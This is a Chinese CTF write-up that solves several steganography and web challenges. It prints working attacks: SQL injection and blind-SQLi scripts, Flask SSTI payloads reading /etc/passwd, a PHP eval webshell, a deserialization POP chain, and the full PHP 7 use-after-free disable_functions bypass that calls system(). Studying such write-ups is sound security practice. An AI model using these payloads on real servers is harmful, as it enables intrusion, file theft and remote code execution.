太菜了。只能纪录下自己做出来的题
1。code_in_morse
题目给了个数据包。拿到数据包首先就是看HTTP
可以看到。上传了一个image。尝试看看image图片。一般图片都会藏点什么东西。
摩斯密码。
拿去解密
这里有个坑。不同网站解出来的东西不一样。用CTFCrak需要将最后的NULLNULLNULL,替换===
===结尾。尝试下base32解密
import base64
data='RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLVPQLUDSDLFPZP2WOTPLVLNABG7SPICMT3K52QLTWK3Y4NBXIMX5NRKJIA5FLO6Y3LVP55BPDITRVN2UYEZ33ERFZ2R4KTFVJVECKKRXKA2LRCKQFHEAIEAKZWYCKXRXLGJYJXQKZ445HWLUPAFGIC7FV46SB5MERIYNWSHUCNUQP5OB4S2BDQ7627HULZQRW3QYNKQKU3VHCNJSU6E36IUEPU2TBGKZOSB22N2R6TPY7XUG32VIXLTHGHJXGWNWMTJOGFMAJHOVWIIGDSG2KOONGK7UDFQS4ZOK2OAXKAXWZRTOTZQ2Q7CKRKRWAK6IAK2SRYLT72DGHQXRJGGDN57EJBZ2M7VJHOGJKEHU5ASU2KKTFB4SW5MB5C4YR4SSKNON3XLSS6K7CGJKAZNIP6E7RVUY6OFIBTTXYREMWKWPIDKRPTJSMRJPUXKUOWT5IZP3HEJ65OYVILIUGUI2QHGH32VAAXKO23H2BTIAF2UF4QESSANVEKPILOY63ZA5GUZRLLCIQSY6IRWLSTWULC5KBRAFOQPPEED3VB6IKKDRSN2FF4UVXS7KT6TUQCRQZ2DXZS5AYOCLLHKK6I2JUPRSK2HVI3YKBTZXWQDNGI3FMYHFMO3BIYABKUPTFSK3J4KKPKNALUMP5NFERHUB3I7IWTXQEAAMQUPQGRADFFIMKQ3MQNX3BW7NU4WMITZDB5D3FP3VHD2SPCX65ZVL44VUHQMAHMZLQFKADBFIO2RRKTCDYZJ2BCENKZ2LY2TIKSH3MMU3EUB5T26E4TP4NK3F6KRSTI3TEKTBKXTJYKHQATMWUDXT5T4CUYXK6U5H2LYAKUO5LJIFS2QY4O7KZP3KBCODRBAGLKPDN5WUTLOAKEOJP22CBGU6GXYJUPRTXXHKJLP7D46I2TPFLWQRJ4NIEFDYSNKDYFCERFHAC5NIWXVQXELIUSGKLKZLGT36JMOS7IIPBU76KXNQDJV4ZSXCE7F5P4U4QIRAKPAWRQFJLVHRFJDKIVLAVFOORM7F5S3U5D6AIFDV27JYJ243PIM6UKVSGLKQIZACNKPHVJAQJNPUAWACJNAWYEJBR2Q6LTA3STOLSLO6QZFKQ5QGFEZ5TKCJJ6VKBVNVO7DKG27T3HHJDRVXTPD6H7EW6FI6QB5GHQVKU3VP54TBBQMIDFJ6QFKRZXP4UE2QG3EVJDK3AASKBCE5W3VDHVB4JVC7IXOG5C7J4MZWSRDJFSHKH626LIUGRPZ6T2SEANVP5KDXFNKGQIWQS5J5MC5HBH5GGTHZLGWXKOWSCRQNULFGO4C3ZHUZF6O57K4YV2VYUR5BF3PDMEKR7JZEZJAAEUUORJ32GSHIAG4OWQS5LPPKVU2J7P5AQUQWRK7HE5BX3UWXJNPSKKBICC5Z5Y5L7AESSANUYPUNR2USESHE2ORQMJ5H6KTB6YSTVZD3FA6NLBUASWRM6VZYTXV6E4J6SW2XLZ6RGW7JL5FECJ53N7KRKRXMJGKVJTH6FNIFIOOA26AFHEAXJCUAQGBON2UPZNMBRKW7ZKUDZFYMCQBE5B4SUCTJ6TIOOT6J2XVXXLVRMPT3VGQUCSIAU4DKFJ7535XXUWGDSV3DJHQ2SXK3PILDELUPQVAVKFKJQM2GO47WTXXIZQPKNAE2VSDIDGT2VSSNUFSQAJV7WEY2WKVFSQANMFERVARSSUGEJ7TZLISVGYVPGPSVZTRTRYZXVI6VNNIZ6LFNPL2VAQVECPVZYLF3BR2M2PCXAF5USD6UVR7STM27OSOM7D3XUU2RZD5KWOKSBKIKLW3Q6VCIJTFVJLQDBREGECQBDKTJETLKU5KYQJVABNCATKD4MCVP6G75HT2V4CPQSW64SMM2VIBS2Q65ENEIBIETVJ5MFEFVLPEZXG3JEXX4QXSSUAABGMN67M5CJJVGTWUOS7742UGJK6VG2TGVFVCIYCUE2L44E2VBFJHTFNT7URWE6HSIZ2PF5TR7QST3FEAXIWSCMJO4V74VEACNKEGJF3B2IDGRF3BRAYWTALFVCFR7IZCNGVDEUSAZURUGABG5H6TDDKNEVH4TWZC2DI6FR6XT6W64SDC2JY3WDEXTLOK4ZBKPEXZMPFC4RFCFU5KQ6AEDV6T2MGAJ7HUQQUXSPY2U6VFNR3YDVWWKLK54UE2RPPUBGUJHDZ5SGMUY563JFZIRAPIXIGHLD2Q5IMUQOWIGOS2OADI4FPZ3GPJHQV2BU74SW6AUSPXX57VPJ24ZFJ7FNQIURSX6KQZGLKPDN5TLRKZZEGEN6K7T65EHP2X7E54M4AZQVRPFHRVDOZBLVAJFSHUPIVMTKKFUF4C2X7FBGUNWESTWFYXM37PZIBXQMWUERWUSQTFVD65OZR7YZBUACNIP46K3EQXWY5SUSIYGESUH3NLI6FI6DAFNUHQD5KLADK23QWSXWV4UE2RTF6HNMZWTVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA===='
print (base64.b32decode(data))
得到一张PDF417的码
https://demo.dynamsoft.com/DBR/BarcodeReaderDemo.aspx
得到一个base64加密的字符串
解密后是个URL。是一张图。保存后查看详细信息。发现F5提示
F5隐写得到flag
2。套娃
第一关。发现ook。解码获得压缩密码。
同时在1.连环画中发现part1
第二关。爆破得到压缩包密码3302
同时在2.连环画详细信息中发现part2
第三关。通过txt得到虚张声势。猜测zip伪加密
同时通过stegsolve发现part3
第四关。通过4.hint.png知道这是zip明文攻击
将4.jpg和5.zip打包。进行明文攻击。(又是坑,明文攻击刚开始不能退出。跑了半个小时。可以退出了。并且会生成一个解密的压缩包)
修改图片长度。得到part4
第五关。猪圈密码。得到解压密码fojiajielv
并且给了81张图。慢慢拼图吧
第六关。与佛论禅解压得到密码amtf12345
图片末尾发现摩斯密码
第七关。银河密码。yinhezm
时间隐写。将10->0,20->1得到part7:61562
第八关:
8.原来,真经就在塔顶,走到顶,两位存储尊者向你索要人事一些<既然出门匆忙没带经文 不如把一路上得到的战利品(共32位)交出来吧
总结前面的所有part。解压
最后是ntfs隐写。貌似用winrar解压数据不会丢失。这步全是在虚拟机里运行的。拖到本机数据就没了。
3。funnygame
给了pygame文件。修改了雷的数量。玩了一下没啥结果。。
去图标库看看。扫雷.png特别显眼。其他都是bmp。
拖到kali下binwalk分离
得到一个openssl加密的文件
那么接下来就只有爆破or找密钥
结束后师傅们说。是pyc隐写。。。新姿势get
得到密钥
https://www.sojson.com/encrypt_aes.html
解压后得到16进制
f=open('secret.txt','r')
data=f.read()
f.close()
d=''
for i in range(0,len(data),2):
d+=chr(int('0x'+data[i:i+2],16))
print d
python exp.py>1.txt
发现文件16进制是倒着的
f=open('1.txt','r')
data=f.read()
f.close()
data2=data[::-1]
print data2
得到flag.wav最后。就是考听力了。告辞
在登陆出发现admin' or 1=1%23可以登陆为admin。猜测这里有注入
判断字段数。6的时候报错。说明字段数为5
登陆后。会在用户信息回显
没过滤。送分题。还有一种解法,通过or 1=1登陆后。在admin查询页面。注入
easysqli_copy
首先分析下代码
通过id传参。如果没有传参。就从数据库中取值作为默认
id传参需要过正则匹配。数据库编码为UTF-8。然后用预处理带入sql语句
https://www.freebuf.com/articles/web/216336.html
UTF-8想起宽字节注入可以逃逸单引号。然后用%00注释
用堆叠注入hex编码绕过。随便注
Blacklist
原题是强网杯的随便注
原本的思路是动过堆叠注入。更改表名或者利用prepare去读取数据
但这题新增了一个黑名单。限制了以上两种操作使用的函数
一直没啥思路。知识面太窄了
结束后。大佬们用handler来代替select查询
handler使用方法:https://dev.mysql.com/doc/refman/8.0/en/handler.html
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
handler 表名 open 可选参数:as别名
#打开表返回一个句柄
handler 表名 read first
#读取第一条数据
handler 表名 close
#关闭句柄
首先查看表名得到FlagHere
得到列名flag
得到flag
ezupload
这题没什么好说的。直接上传一句话木马。执行/readflag得到flag
盲注
由于已知字段。并且在同表。那就不需要select
regexp判断即可
Flaskapp
在解密处存在SSTI。将{{1+1}}
base64编码后发送。返回{{2}}
随便输入个字符。存在报错。并且hint页面提示PIN。
之前看到过一篇文章。利用SSTI构造PIN码。执行任意代码
https://www.anquanke.com/post/id/197602
以下是我的payload:
[].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('/etc/passwd','r').read()
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}
1:读取/sys/class/net/eth0/address
2:如果存在/proc/self/cgroup文件。那么/etc/machine-id会取/proc/self/cgroup的第一行
3:读取/etc/passwd得到用户名
4:debug报错得到app路径
ezsqli
这道题考的是高版本mysql的特性。比如新增了数据库。可以用于绕过information被过滤
最后字符串比较。拿flag
不多说了。直接上脚本
slist='uabcdefghijkmnlopqrstvwxyzABCDEFGHIJKMNLOPQRSTUVWXYZ[](),{}_1234567890-'
import requests
for i in range(1,60):
for a in slist:
payload='0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer),'+str(i)+',1))='+str(ord(a))+')'
data={"id":payload}
r=requests.post(url='http://b539562b497746f9b3a26355ea0835a8400621d5d6294eff.changame.ichunqiu.com/index.php',data=data)
if 'Nu1L' in r.text:
print (a)
break
通过sys这个库。跑出表名f1ag_1s_h3r3_hhhhh
然后通过字符串比较。获得flag
import requests
flag=''
url='http://b539562b497746f9b3a26355ea0835a8400621d5d6294eff.changame.ichunqiu.com/index.php'
for i in range(100):
for a in range(40,130):
payload='((select 1,0x'+flag+hex(a).replace('0x','')+')<(select * from f1ag_1s_h3r3_hhhhh))'
data={"id":payload}
r=requests.post(url=url,data=data)
if 'Nu1L' not in (r.text):
print (chr(a-1))
flag+=hex(a-1).replace('0x','')
break
这里字符串比较。不区分大小写。
如果区分大小写。可以用binary具体检测。这题过滤了in。就不行了。
easy_thinking
www.zip源码泄露
根据源码可知。这是个thinkphp6搭建的web。
哎。一直没怎么学thinkphp
先百度下thinkphp6有啥洞
https://paper.seebug.org/1114/
搜了下发现就一个反序列化和session任意文件写入。
利用条件。需要session可控。并且能访问
首先登陆下web
随便搜索个123。返回主页。有历史搜索纪录。
并且。这里session可以访问
结合上面的洞。我们将session替换为总长32位的xxxxx.php
然后搜索内容会以序列化后的字符串存储。
登陆时修改session。搜索<?php eval($_POST[a])?>
。
就会在session目录下存在一个sess_xxxxxx.php
这就是我们的shell
phpinfo()发现禁用了很多函数。照常得bypass disable_function
但是。用的比较多的LD_PRELOADbypass不行了。这里禁用了send_mail
有很多bypass方法。这里使用其他一个
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
$cmd = $_GET['cmd'];
pwn($cmd);
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
支持PHP7.0-7.4
用蚁键上传后。直接访问就行
babyphp
www.zip源码泄露
首先看idnex.php
代码很简洁。文件包含action参数+.php
判断是否登陆。登陆就调转update.php
OK。继续看login.php
过滤了很多函数。接着会调用lib.php中User类的login函数。
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
可以看到。login函数。又会调用dbCtrl类中的login函数。并且带一个sql语句
继续追踪
这里sql语句。将使用预处理。然后执行。返回id
使用了预处理。那么基本注入没了。除非数据库使用utf-8
接下来看update.php
只要session['login']=1
就会输出flag。并且update.php未登陆时只是echo 你还没有登陆。并没有exit退出。下面的语句会继续执行
调用user类的update函数。
将POST的age和nickname带入Info类。然后序列化。经过safe函数。替换。再反序列化
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
之前我做题有遇到过序列化字符串。经过替换。实现字符逃逸的。博客中有题解
那么这不就有了。逃逸+反序列化字符串可控+构造POP链执行sql语句
之前只做到了逃逸字符串。对于逃逸对象。实在是第一次遇见。也怪我想得太少。没想过能逃逸对象
逃逸字符串原理就不讲了。
我们要做的就是逃逸对象给CtrlCase。然后执行反序列化。
下面构造POP链
程序调用UpdateHelper类的时候。会在执行完触发__destruct函数。执行echo $this->sql
而反序列化可以更改sql的值。将sql赋值为其他类。就可以触发tostring魔法函数
User类调用UpdateHelper类
UpdateHelper执行完触发__destruct。echo $this->sql
将$this->sql赋值为User类。就会触发__toString魔法函数
调用$this->nickname->update($this->age)
$this->nickname为Info。调用update函数。由于不存在此函数。就会触发__call魔法函数
调用$this->CtrlCase->login($argument[0])
$this->CtrlCase为dbCtrl类。那么就会执行dbCtrl类的login函数。将参数作为sql语句执行
这里call魔法函数。$name的值是想要调用函数名的值。带的参数是$argument
比如我调用xxx类的abc函数。而xxx类并没有这个函数。触发__call函数。那么name就是你想要调用函数的名字。argument才是真正的参数
接下来追踪下sql语句。通过User类的$this->age传递。那么将age设为sql语句即可
由于执行完会返回两个结果。绑定id和password。那么我们就写
select password,id from user where username='admin'
返回的第一个时password。赋值给id
而id又会输出。我们拿到password解密登陆就行了
以下是我的payload
先本地测试下。
因为我们是覆盖最后一个Ctrlcase。而我们输入又在此前
所以。我们直接自己构造。"闭合前面
;s:8:"CtrlCase";
表示CtrlCase开始后面跟我们构造的object对象
最后还得加上}
表示整个序列化字符串结尾。
总共222个字符。根据替换。*替换hacker。一次可以多5个字符。union替换。一次多1个字符。
*x44+unionx2=222
将这串md5解密。得到yingyingying
admin,yingyingying登陆拿flag